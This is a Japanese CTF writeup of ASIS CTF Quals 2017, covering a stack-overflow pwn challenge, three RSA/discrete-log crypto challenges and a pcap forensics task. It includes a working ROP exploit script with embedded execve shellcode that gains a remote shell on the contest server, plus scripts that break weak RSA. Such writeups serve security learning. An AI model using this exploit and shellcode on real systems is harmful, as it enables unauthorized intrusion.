h_nosonの日記

競プロ、CTFなど

ASIS CTF Quals 2017 Writeup

https://asis-ctf.ir/challenges/
今回は一人で参加しました。
7問解き、763点で65位でした。
初めてpwnをコンテスト中に解いたので満足。
f:id:h_noson:20170409213619p:plain

Writeup

Welcome! (Trivia 1), CTF Survey (Trivia 9)

サービス問題

Start (Warm-up, Pwning 89)

こちらの資料がとても参考になりました。
https://speakerdeck.com/bata_24

バイナリが渡されます。文字列を入力してもなにも返ってきません。

ubuntu-xenial% ./Start_7712e67a188d9690eecbd0c937dfe77dd209f254
AAA
ubuntu-xenial%

objdumpしたらreadをしているだけでした。書き込み先が[rbp-0x10]なのに0x400バイト読みこんでいるので明らかにバッファオーバーフローします。

ubuntu-xenial% objdump -d -M intel Start_7712e67a188d9690eecbd0c937dfe77dd209f254
...
 400526:       55                      push   rbp
 400527:       48 89 e5                mov    rbp,rsp
 40052a:       48 83 ec 20             sub    rsp,0x20
 40052e:       89 7d ec                mov    DWORD PTR [rbp-0x14],edi
 400531:       48 89 75 e0             mov    QWORD PTR [rbp-0x20],rsi
 400535:       48 8d 45 f0             lea    rax,[rbp-0x10]
 400539:       ba 00 04 00 00          mov    edx,0x400
 40053e:       48 89 c6                mov    rsi,rax
 400541:       bf 00 00 00 00          mov    edi,0x0
 400546:       e8 b5 fe ff ff          call   400400 <read@plt>
 40054b:       b8 00 00 00 00          mov    eax,0x0
 400550:       c9                      leave
 400551:       c3                      ret
...

そしてcanary, NXが無効化されています。

ubuntu-xenial% checksec -f Start_7712e67a188d9690eecbd0c937dfe77dd209f254
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No      01Start_7712e67a188d9690eecbd0c937dfe77dd209f254

ここで、スタックにシェルコードを入れて実行すると決め込んでしまいました。(方針ミスに気付くのに一日かかった…)
スタックはASLRによって実行ごとにアドレスが変わるのでシェルコードを仕込んでも簡単にはそこに飛ばすことができません。jmp rspなどのgadgetがあればROPによってスタック上のコードを実行することができますが今回はreadしかしていないとても短い実行ファイルなのでそのようなgadgetはありませんでした。
メモリマップを見ると.bssや.dataなどの0x601000から0x602000は書き込み可能、実行可能になっています。また、ASLRの影響を受けません。

gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x00401000         r-xp      /program/ctf/asisctf/2017/Start/Start_7712e67a188d9690eecbd0c937dfe77dd209f254
0x00600000         0x00601000         r-xp      /program/ctf/asisctf/2017/Start/Start_7712e67a188d9690eecbd0c937dfe77dd209f254
0x00601000         0x00602000         rwxp      /program/ctf/asisctf/2017/Start/Start_7712e67a188d9690eecbd0c937dfe77dd209f254
0x00007ffff7a0e000 0x00007ffff7bcd000 r-xp      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r-xp      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rwxp      /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rwxp      mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp      /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fe6000 0x00007ffff7fe9000 rwxp      mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rwxp      mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p      [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp      [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r-xp      /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rwxp      /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rwxp      mapped
0x00007ffffffde000 0x00007ffffffff000 rwxp      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp      [vsyscall]

ということでシェルコードをbssセクションに書き込んで実行させるスクリプトを書きました。
1回目のreadでROPのペイロードを渡して、2回目のreadでシェルコードを渡しています。

#!/usr/bin/env python2

from ppapwn import *
import sys
import time

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local("./Start_7712e67a188d9690eecbd0c937dfe77dd209f254")
    else:
        s = Remote("139.59.114.220",10001)

    shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    read_plt = 0x400400
    shellcode_addr = 0x601050      # .bss
    pop_rsi = 0x4005c1             # pop rsi ; pop r15 ; ret

    payload = "A" * 0x18
    payload += p64(pop_rsi)
    payload += p64(shellcode_addr)
    payload += p64(0)              # dummy
    payload += p64(read_plt)
    payload += p64(shellcode_addr) # jump to shellcode
    print "[*] Sending payload"
    s.send(payload)
    time.sleep(0.1)

    print "[*] Sending shellcode"
    s.send(shellcode)
    s.interact()
ubuntu-xenial% ./exploit.py a
[*] Sending payload
[*] Sending shellcode
[*] Switching to interactive mode

$ ls
flag
start
$ cat flag
ASIS{y0_execstack_saves_my_l1f3}

フラグからしてスタックでもシェルコードを実行できるのだろうか。

A fine OTP server (Crypto 74)

暗号化されたワンタイムパスワードを復号する問題。

ubuntu-xenial% nc 66.172.27.77 35156
|-------------------------------------|
| Welcome to the S3cure OTP Generator |
|-------------------------------------|
| Guess the OTP and get the nice flag!|
| Options:
        [F]irst encrypted OTP
        [S]econd encrypted OTP
        [G]uess the OTP
        [P]ublic key
        [E]ncryption function
        [Q]uit
E
def gen_otps():
    template_phrase = 'Welcome, dear customer, the secret passphrase for today is: '

    OTP_1 = template_phrase + gen_passphrase(18)
    OTP_2 = template_phrase + gen_passphrase(18)

    otp_1 = bytes_to_long(OTP_1)
    otp_2 = bytes_to_long(OTP_2)

    nbit, e = 2048, 3
    privkey = RSA.generate(nbit, e = e)
    pubkey  = privkey.publickey().exportKey()
    n = getattr(privkey.key, 'n')

    r = otp_2 - otp_1
    if r < 0:
        r = -r
    IMP = n - r**(e**2)
    if IMP > 0:
        c_1 = pow(otp_1, e, n)
        c_2 = pow(otp_2, e, n)
    return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2

2つのパスワードを暗号化してるので暗号文の差を取って鍵を求めたりするのかと感じました。(罠でした)
暗号化する文字列は78文字であるため、三乗しても2048ビットのnを超えることはありません。よって三乗根を取ればパスワードが得られます。

#!/usr/bin/env python2
from ppapwn import *
from Crypto.Util.number import long_to_bytes

def cbrt(x):
    l = 0; r = 1<<78*8
    while (l + 1 < r):
        m = (l + r) // 2
        if m ** 3 <= x:
            l = m
        else:
            r = m
    return l

if __name__ == '__main__':
    s = Remote("66.172.27.77", 35156)
    s.recvuntil("[Q]uit\n")
    s.sendline("F")
    c_1 = int(s.recvline())
    s.sendline("S")
    c_2 = int(s.recvline())
    otp_1 = long_to_bytes(cbrt(c_1))
    otp_2 = long_to_bytes(cbrt(c_2))
    print otp_1
    print otp_2
    s.sendline("G")
    s.sendline(otp_1[-18:])
    s.recvline()
    print s.recvline()
    s.close()
ubuntu-xenial% ./solve.py
Welcome, dear customer, the secret passphrase for today is: QefgZREDBHTeKJIhwF
Welcome, dear customer, the secret passphrase for today is: TFPV8Z8VXzTaHzsG87
Woow, you got the flag :) ASIS{0f4ae19fefbb44b37f9012b561698d19}

Secured OTP server (Crypto 268)

ubuntu-xenial% nc 66.172.33.77 12431
|-------------------------------------|
| Welcome to the S3cure OTP Generator |
|-------------------------------------|
| Guess the OTP and get the nice flag!|
| Options:
        [F]irst encrypted OTP
        [S]econd encrypted OTP
        [G]uess the OTP
        [P]ublic key
        [E]ncryption function
        [Q]uit
E
def gen_otps():
    template_phrase = '*************** Welcome, dear customer, the secret passphrase for today is: '

    OTP_1 = template_phrase + gen_passphrase(18)
    OTP_2 = template_phrase + gen_passphrase(18)

    otp_1 = bytes_to_long(OTP_1)
    otp_2 = bytes_to_long(OTP_2)

    nbit, e = 2048, 3
    privkey = RSA.generate(nbit, e = e)
    pubkey  = privkey.publickey().exportKey()
    n = getattr(privkey.key, 'n')

    r = otp_2 - otp_1
    if r < 0:
        r = -r
    IMP = n - r**(e**2)
    if IMP > 0:
        c_1 = pow(otp_1, e, n)
        c_2 = pow(otp_2, e, n)
    return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2

今度は暗号化する文字列が長いため、三乗すると2048ビットを超えます。bytes_to_longで変換すると'*****...'の部分は上位ビットになります。したがって三乗したときにmod nから溢れる分はパスワードによらず同じになります。適当にパスワードを作って三乗し、nで割ることで溢れる分が計算できます。あとはその分を暗号文に足して三乗根を取ればパスワードがわかります。

#!/usr/bin/env python2
from ppapwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.PublicKey import RSA
import string

def cbrt(x):
    l = 0; r = 1<<100*8
    while (l + 1 < r):
        m = (l + r) // 2
        if m ** 3 <= x:
            l = m
        else:
            r = m
    return l

if __name__ == '__main__':
    template = "*************** Welcome, dear customer, the secret passphrase for today is: " + "A" * 18

    s = Remote("66.172.33.77", 12431)
    s.recvuntil("[Q]uit\n")
    s.sendline("F")
    c_1 = int(s.recvline())
    s.sendline("S")
    c_2 = int(s.recvline())
    s.sendline("P")
    s.recvline()
    pubkey = RSA.importKey(s.recvuntil("-----END PUBLIC KEY-----\n"))
    n = getattr(pubkey, "n")
    k = (bytes_to_long(template) ** 3) // n
    otp_1 = long_to_bytes(cbrt(c_1+k*n))
    otp_2 = long_to_bytes(cbrt(c_2+k*n))
    print otp_1
    print otp_2
    s.sendline("G")
    s.sendline(otp_1[-18:])
    s.recvuntil(":) ")
    print s.recvline()
    s.close()
ubuntu-xenial% ./solve.py
*************** Welcome, dear customer, the secret passphrase for today is: kIL54hVQRZqCZ94953
*************** Welcome, dear customer, the secret passphrase for today is: tyTx8Lb5bmvMP8nRFt
ASIS{gj____Finally_y0u_have_found_This_is_Franklin-Reiter's_attack_CongratZ_ZZzZ!_!!!}

DLP (Crypto 158)

ubuntu-xenial% nc 146.185.143.84 28416
|-------------------------------------|
| Welcome to the DLP message Encryptor|
|-------------------------------------|
| Find the FLAG and get the points!!!!|
| Options:
|       [E]ncrypted FLAG
|       [P]ublic key
|       [C]ryptography function
|       [Q]uit
C
def encrypt(nbit, msg):
    msg = bytes_to_long(msg)
    p = getPrime(nbit)
    q = getPrime(nbit)
    n = p*q
    s = getPrime(4)
    enc = pow(n+1, msg, n**(s+1))
    return n, enc

メッセージを数値化したものをmとすると(n+1)^m\mod n^{s+1}を計算しています。つまり、{}_mC_sn^s+...+{}_mC_1n+{}_mC_0\mod n^{s+1}。まず、{}_mC_0は1とわかっているので1を引いておきます。{}_mC_sn^s+...+{}_mC_2n^2+{}_mC_1n\mod n^{s+1}。これをn^2でmodを取ればmnが残るので最後にnで割ってmがわかります。

#!/usr/bin/env python2

from ppapwn import *
from Crypto.Util.number import long_to_bytes

if __name__ == '__main__':
    s = Remote("146.185.143.84", 28416)
    s.sendline("E")
    s.recvuntil("enc = ")
    enc = int(s.recvline())
    s.sendline("P")
    s.recvuntil("n = ")
    n = int(s.recvline())
    print long_to_bytes((enc - 1) % (n*n) // n)
ubuntu-xenial% ./solve.py
ASIS{Congratz_You_are_Discrete_Logarithm_Problem_Solver!!!}

Piper TV

拡張子のないファイルが渡されます。

ubuntu-xenial% file PiperTV_e65d6f13bae89c187d2d719ee8bf35cfd9e96387
PiperTV_e65d6f13bae89c187d2d719ee8bf35cfd9e96387: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)

tcpdumpで得たファイルのようなので拡張子をpcapに変えてwiresharkで開くとTCPがずっと続いています。
f:id:h_noson:20170409221529p:plain
一方的にデータを送っているようだったので「追跡->TCPストリーム->RAW形式->Save as...」でファイルに保存してみました。

ubuntu-xenial% file saved
saved: MPEG transport stream data

MPEGだったので拡張子を変えて再生したらフラグを得られました。

感想

ライブラリを整えたらだいぶ楽になった気がする。
多くの人が解いていたR Re Red ...とSecured Portalは解きたかった。